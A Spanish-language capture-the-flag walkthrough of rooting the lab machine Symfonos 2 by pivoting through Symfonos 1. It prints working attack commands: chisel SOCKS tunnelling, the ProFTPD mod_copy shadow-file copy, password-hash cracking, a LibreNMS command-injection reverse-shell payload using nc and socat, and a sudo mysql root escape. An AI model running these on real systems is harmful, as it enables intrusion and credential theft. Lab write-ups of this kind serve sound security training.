helios@symfonos:/dev/shm$ wget http://192.168.1.80/chisel
2025-02-10 07:55:24 (75.6 MB/s) - 'chisel' saved [8077312/8077312]
helios@symfonos:/dev/shm$ ./chisel
Usage: chisel [command] [--help]
Version: 1.7.7 (go1.17.6)
Commands:
server - runs chisel in server mode
client - runs chisel in client modeEl binario se deja en /dev/shm, que es memoria compartida: escribible por cualquiera y sin dejar rastro en disco.
Con chisel en ambos lados, la primera forma de usarlo es puerto a puerto, sin SOCKS:
# atacante
./chisel server --reverse -p 1234
# Symfonos 1 (pivote)
./chisel client 192.168.1.80:1234 R:80:10.10.0.128:80 R:22:10.10.0.128:22
server: Reverse tunnelling enabled
server: Fingerprint pSNw44RyXE/8D2qpNjChIv89c9MaLWW+hR9BG0LMYks=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:80=>10.10.0.128:80: Listening
server: session#1: tun: proxy#R:22=>10.10.0.128:22: Listening
client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 779.748us)Funciona, pero arrastra el mismo problema que el portfwd de Metasploit: hay que conocer los puertos de antemano y declararlos uno a uno. La forma buena es levantar un proxy SOCKS, que reenvía todo sin enumerar nada. Primero se declara en la configuración de proxychains, como última línea de la sección [ProxyList]:
sudo nano /etc/proxychains4.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080Y el cliente se lanza igual que antes pero con R:socks en vez de una lista de puertos:
# atacante
./chisel server --reverse -p 1234
# Symfonos 1 (pivote)
./chisel client 192.168.1.80:1234 R:socks
server: Reverse tunnelling enabled
server: Fingerprint oFpvoNTsTTFYlq49h2lJ8sXaYGxw3FCyGt+v8inHkw4=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
client: Connecting to ws://192.168.1.80:1234
client: Connected (Latency 1.115418ms)Un solo túnel, R:127.0.0.1:1080=>socks, y a través de él pasa cualquier puerto de la red interna sin declararlo.
El navegador no entiende de proxychains, así que para verlo con Firefox hay que darle el proxy con FoxyProxy: tipo SOCKS5, 127.0.0.1 y puerto 1080, con el Proxy DNS activado para que también los nombres se resuelvan del otro lado.

Title: SYMFONOS 2
Type: SOCKS5
Hostname: 127.0.0.1
Port: 1080
Proxy DNS: onCon ese perfil seleccionado, el navegador llega a la IP interna directamente, sin ningún localhost: por medio:

Reconocimiento de Symfonos 2
Con el túnel arriba, escaneamos 10.10.0.128 por el proxy. A través de SOCKS solo pasan conexiones TCP completas, así que el -sT (connect scan) y el -Pn no son opcionales: un -sS fabrica paquetes en crudo, que el proxy no sabe reenviar.
proxychains nmap -Pn -sT --top-ports 1500 -T5 -vvv -n -oG scan 10.10.0.128 2>/dev/null
Not shown: 1495 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack
22/tcp open ssh syn-ack
80/tcp open http syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ackCinco puertos, casi el mismo perfil que Symfonos 1 pero con un FTP en lugar del SMTP. El escaneo de versiones, también por el proxy:
proxychains nmap -sT -Pn -sCV -n -p21,22,80,139,445 -oN targeted 10.10.0.128 2>/dev/null
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http WebFS httpd 1.21
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: webfs/1.21
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos2
|_ FQDN: symfonos2Dos versiones piden atención. El OpenSSH 7.4p1 es el mismo de antes, viejo. Y sobre todo el ProFTPD 1.3.5, que arrastra el módulo mod_copy. El WebFS httpd 1.21 del 80 no es Apache sino un servidor de ficheros estáticos mínimo, lo que ya adelanta que por ahí no habrá aplicación que atacar.
whatweb por el proxy no lo desmiente, aunque reporta el 127.0.0.1 local por venir del túnel:
proxychains whatweb http://127.0.0.1 2>/dev/null
http://127.0.0.1 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[127.0.0.1]Wappalyzer, ya en el navegador por el túnel SOCKS, saca un único dato que el nmap no daba: PHP.

Programming languages: PHPY la portada es, otra vez, un cuadro a pantalla completa. El código fuente son catorce líneas, aún más escuetas que las de Symfonos 1:

<html>
<style>
html,body{ margin:0; height:100%;}
img{ display:block; width:100%; height:100%; object-fit: cover;}
</style>
<body>
<img src="image.jpg">
</body>
</html>El descubrimiento de rutas confirma el diagnóstico: nada más que el manual de Apache y el server-status.
proxychains dirsearch -u http://localhost --exclude-status=403,404 2>/dev/null
[17:39:11] 301 - 307B - /manual -> http://localhost/manual/
[17:39:11] 200 - 201B - /manual/index.html
[17:39:21] 200 - 2KB - /server-status
[17:39:21] 200 - 2KB - /server-status/
Task CompletedLa web no es el camino. Otra vez, toca el SMB.
Symfonos 2: mod_copy, LibreNMS y sudo mysql
SMB: fuga de rutas en log.txt
El SMB expone un recurso anonymous, esta vez sin el helios del anterior, y adentro hay un directorio backups:
proxychains smbclient -N -L 10.10.0.128 2>/dev/null
proxychains smbclient \\\\10.10.0.128\\anonymous 2>/dev/null
ls
cd backups
ls
get log.txt
exit
Sharename Type Comment
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
Password for [WORKGROUP\root]:
smb: \> ls
backups D 0 Thu Jul 18 16:25:17 2019
smb: \> cd backups\
smb: \backups\> ls
log.txt N 11394 Thu Jul 18 16:25:16 2019
smb: \backups\> get log.txtEl Password for [WORKGROUP\root]: se contesta con un Enter en blanco: el recurso admite sesión anónima. Dentro, un log.txt de 11 KB documenta dos rutas de oro:

El mismo fichero, más abajo, incluye el smb.conf entero, y ahí está la segunda pieza: a qué directorio del disco corresponde el recurso anonymous.
batcat log.txt -l bash
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
[anonymous]
path = /home/aeolus/share
browseable = yes
read only = yes
guest ok = yesAhora tenemos origen (/var/backups/shadow.bak) y destino (/home/aeolus/share, que es el recurso anonymous). Justo lo que necesita mod_copy. De paso, el path filtra un usuario nuevo: aeolus.
ProFTPD mod_copy: copiar shadow.bak al recurso
Con la versión exacta del FTP, searchsploit la busca:
searchsploit ProFTPD 1.3.5
searchsploit -x linux/remote/36742.txt
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txtHay cuatro entradas, tres de ejecución de comandos y una de File Copy. La última es la que encaja aquí, y su .txt explica el fallo en dos frases:

Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
Trying 80.150.216.115 ...
Connected to 80.150.216.115.
220 ProFTPD 1.3.5rc3 Server (Debian)
site helpAhí está la clave, subrayada por el propio autor: *unauthenticated clients*. Los comandos SITE CPFR/SITE CPTO de mod_copy copian ficheros dentro del servidor sin autenticación. No sacan nada a nuestra máquina, pero mueven ficheros de una ruta a otra dentro de la víctima, y eso es exactamente lo que hace falta: llevar el shadow.bak al directorio compartido.

proxychains ftp 10.10.0.128
site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.bakY lo leemos desde el recurso SMB, donde ya aparece junto al backups de antes:
proxychains smbclient -U '' \\\\10.10.0.128\\anonymous 2>/dev/null
ls
get shadow.bak
exit
cat shadow.bak
smb: \> ls
backups D 0 Thu Jul 18 16:25:17 2019
shadow.bak N 1173 Mon Feb 10 19:01:17 2025
smb: \> get shadow.bak
$ cat shadow.bak
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::
daemon:*:18095:0:99999:7:::
bin:*:18095:0:99999:7:::
www-data:*:18095:0:99999:7:::La copia ha funcionado: el fichero está ahí, con su fecha de hoy frente al backups de 2019. La mayoría de las cuentas del sistema tienen * en vez de hash (no pueden iniciar sesión), así que un grep '\$' se queda solo con las que sí tienen una contraseña:
cat shadow.bak | grep '\$' | cut -d ':' -f 1-2 > hashes.txt
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.
cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/Tres usuarios con contraseña: root, aeolus (el del smb.conf) y uno nuevo, cronus.
Crackear el hash sha512crypt
Antes de lanzar john conviene confirmar el algoritmo, porque un --format equivocado no rompe nada. El prefijo $6$ lo delata, y un identificador de hashes lo confirma:

Possible identifications:
$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.
- Possible algorithms: sha512crypt $6$, SHA512 (Unix)Con el formato confirmado, john rompe uno de los tres:

john --format=sha512crypt --wordlist=/home/krmena/rockyoudir/rockyou.txt --fork=5 hashes.txt
# sergioteamo (aeolus)Solo cae el de aeolus. Los de root y cronus aguantan el diccionario, lo que fija el camino: hay que entrar como aeolus y escalar desde dentro.
SSH como aeolus
aeolus:sergioteamo es válido por SSH (siempre a través del proxy):
proxychains ssh aeolus@10.10.0.128
id
aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 10:52:03 2025 from 10.10.0.130
aeolus@symfonos2:~$ id
uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)El Last login ... from 10.10.0.130 es un detalle bonito: la última conexión registrada viene de Symfonos 1, que es justo por donde estamos entrando.
Lo primero, situarse:
echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"
SO: Linux
Kernel Version: 4.9.0-9-amd64
User: aeolus
Machine Name: symfonos2
IP(s): 10.10.0.128
Information User: uid=1000(aeolus) gid=1000(aeolus) groups=1000(aeolus),...Los binarios con SUID, filtrando los normales del sistema para que no ensucien:
find / -perm -4000 2>/dev/null | grep -vE "mount|ping|chfn|chsh|gpasswd|newgrp|passwd|sudo|su"
/usr/sbin/exim4 --version
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
$ /usr/sbin/exim4 --version
Exim version 4.89 #2 built 28-May-2019 20:13:55El exim4 con SUID llama la atención (la 4.89 arrastra CVEs conocidos), pero antes conviene mirar qué escucha la máquina por dentro:
ss -tuln
Netid State Recv-Q Send-Q Local Address:Port
tcp LISTEN 0 80 127.0.0.1:3306
tcp LISTEN 0 128 127.0.0.1:8080
tcp LISTEN 0 50 *:139
tcp LISTEN 0 32 *:21
tcp LISTEN 0 128 *:22
tcp LISTEN 0 20 127.0.0.1:25
tcp LISTEN 0 64 :::80Ahí está lo interesante: un 127.0.0.1:8080 que no salió en ningún escaneo porque solo escucha en loopback. Y un MySQL en el 3306, también local.
Un LibreNMS interno (port forwarding + reutilización)
El 8080 solo escucha en loopback, así que desde fuera no existe. Como ya tenemos SSH, lo acercamos con un local port forwarding: el túnel SOCKS nos lleva hasta la máquina y, encima de esa sesión, el -L saca su 127.0.0.1:8080 a un puerto local nuestro.
proxychains ssh -L 4321:127.0.0.1:8080 aeolus@10.10.0.128 2>/dev/null
aeolus@10.10.0.128's password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
Last login: Mon Feb 10 12:52:00 2025 from 10.10.0.130
aeolus@symfonos2:~$Son dos túneles encadenados: el SOCKS de chisel para llegar a 10.10.0.128, y dentro de él el -L del SSH para llegar al 127.0.0.1 de esa máquina. En localhost:4321 responde un LibreNMS:

LibreNMS
Username
Password
Remember Me
Login
Unauthorised access or use shall render the user liable to criminal and/or civil prosecution.Probamos la contraseña de aeolus en el panel:

Username: aeolus
Password: sergioteamo
Welcome aeolusEl panel saluda con Welcome aeolus: la contraseña SSH de aeolus vale también aquí, credential reuse de manual.
RCE al añadir dispositivo
Con sesión válida, searchsploit busca el resto:
searchsploit LibreNMS
searchsploit -x php/webapps/47044.py
LibreNMS - addhost Command Injection (Metasploit) | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit) | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution | php/webapps/47044.py
LibreNMS 1.46 - 'Search' SQL Injection | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.pyEl del medio, el 47044.py, es el que interesa. No hace falta ejecutarlo: leyendo su código se ve exactamente qué campo del formulario es el vulnerable.

def create_new_device(url):
raw_request = {
"hostname": hostname,
"snmp": "on",
"snmpver": "v2c",
"port": "",
"transport": "udp",
"community": payload,
"authlevel": "noAuthnoPriv",
"force_add": "on",
"Submit": ""
}
full_url = url + "/addhost/"
request_body = urlencode(raw_request)Ahí está: de todos los parámetros del alta, el único que recibe el payload es community, el de la community string de SNMP (inyección de comandos). Sabiendo eso, el exploit se puede reproducir a mano desde la propia interfaz.
El detalle de red: la máquina no alcanza a la atacante (están en segmentos distintos), así que la reverse shell apunta al pivote (Symfonos 1, 10.10.0.130), que la reenvía con socat. Primero el listener en la atacante:
nc -nlvp 4422
listening on [any] 4422 ...Y en el pivote, el socat que hace de puente. El fork permite más de una conexión y TCP-LISTEN/TCP juntos convierten a Symfonos 1 en un simple reenviador:
socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422
helios@symfonos:/dev/shm$ socat TCP-LISTEN:4422,fork TCP:192.168.1.80:4422Con el puente montado, el alta del dispositivo. El payload va en el campo Community, y hay que marcar Force add para que LibreNMS no descarte el host por no responder a ICMP ni a SNMP:
'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #
Add Device
Hostname: test
SNMP: ON SNMP Version: v2c Port Association Mode: ifIndex
Community: '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.0.130 4422 >/tmp/f) #
[x] Force add - No ICMP or SNMP checks performed
[ Add Device ]Nótese que la reverse shell apunta a 10.10.0.130, la pata interna de Symfonos 1, no a nuestra IP: es el socat el que la saca de ahí.
Guardado el dispositivo, aparece en Devices > Server como un Generic Device llamado test:

Vendor Device Operating System Uptime Location
test Generic DeviceEl payload no se ejecuta al guardarlo, sino cuando LibreNMS lanza una consulta SNMP contra el dispositivo. Para forzarlo sin esperar al poller, el menú de la rueda dentada tiene un Capture:

test
Overview | Graphs | Logs | Alerts | Alert Stats | Performance | Notes
Recent Events: 2025-02-10 13:35:53 Device type changed => server
[gear] Web | SSH | Telnet | Edit | CaptureDentro de Capture Debug Information, la pestaña SNMP y el botón Run disparan la consulta, y con ella la community string envenenada:

Capture Debug Information
Discovery | Poller | SNMP | Alerts
[ Run ] [ Copy ] [ Download ]
OutputY la shell llega a la atacante después de atravesar el socat:

listening on [any] 4422 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.151] 33724
/bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
$ id
uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)Somos cronus, el tercer usuario del shadow.bak, y del grupo librenms. Ojo a la IP de origen que reporta el nc: 192.168.1.151, o sea Symfonos 1. La víctima real nunca aparece, porque la conexión la reenvió el pivote.
sudo mysql: escalada a root
sudo -l
Matching Defaults entries for cronus on symfonos2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cronus may run the following commands on symfonos2:
(root) NOPASSWD: /usr/bin/mysqlmysql ejecutable como root es un GTFOBins de libro, y su ficha da la línea exacta:

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be
used to access the file system, escalate or maintain privileged access.
sudo mysql -e '\! /bin/sh'El \! del cliente MySQL sirve para lanzar un comando del sistema sin salir de la sesión, y como el cliente ya corre como root, esa shell nace con uid=0.

cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/bash'
root@symfonos2:~# cat proof.txt
Congrats on rooting symfonos:2!El \! del cliente MySQL escapa a una shell que, al correr mysql como root, hereda uid=0: shell de root.
sudo mysql -e '\! /bin/bash'
# cat /root/proof.txt
# Congrats on rooting symfonos:2!Symfonos 2 rooteada.
Cadena de ataque
[192.168.1.0/24] Symfonos 1
SMB sesión nula -> anonymous/attention.txt (diccionario de contraseñas)
└─> spray helios:qwerty -> recurso helios -> /h3l105
└─> WordPress + vhost symfonos.local -> plugin Mail Masta (LFI)
└─> LFI + SMTP (buzón /var/mail/helios) -> RCE como helios
└─> SUID /opt/statuscheck (curl relativo) -> PATH hijacking -> root
└─> 2ª NIC 10.10.0.130 ── chisel R:socks + proxychains ──┐
▼
[10.10.0.0/24] Symfonos 2 (10.10.0.128)
SMB anonymous/log.txt (rutas shadow.bak y share)
└─> ProFTPD 1.3.5 mod_copy (cpfr/cpto) -> shadow.bak legible
└─> john sha512crypt -> aeolus:sergioteamo -> SSH
└─> LibreNMS interno (port forward) + reuse
└─> RCE add-device (relay socat) -> cronus
└─> sudo mysql (GTFOBins) -> rootLecciones aprendidas
- Una sesión nula de SMB es una fuga de perímetro. En Symfonos 1, un recurso
anonymouslegible entregó tanto la lista de contraseñas (el propioattention.txtque las prohíbe es el diccionario a probar) como el nombre de usuario que había que rociar. - Un LFI que incluye PHP es RCE en potencia. No hace falta un
.log: cualquier fichero que el atacante pueda envenenar (aquí el buzón por SMTP) sirve de vehículo. Y un SUID que invoca binarios por nombre es un PATH hijacking: la defensa es siempre la ruta absoluta desde código privilegiado. - Una máquina con dos interfaces es un puente. El primer objetivo comprometido se convierte en la puerta a una red que no era alcanzable; un SOCKS con chisel + proxychains lo automatiza y lleva todas las herramientas a
10.10.0.0/24. mod_copyen ProFTPD 1.3.5 es copia arbitraria sin autenticar. No da RCE por sí solo, pero mover unshadow.baka un recurso legible basta para hacerse con los hashes. Los logs "informativos" (log.txt) filtraron el origen y el destino exactos: sin ellos,mod_copyno llevaba a ninguna parte.- Reutilizar la contraseña del sistema en un panel web encadena el ataque. La misma clave crackeada de
aeolusabrió LibreNMS y de ahí salió el RCE. Y al pivotar, la reverse shell no siempre vuela directa: si no hay alcance entre segmentos, un relaysocaten la máquina intermedia lo resuelve.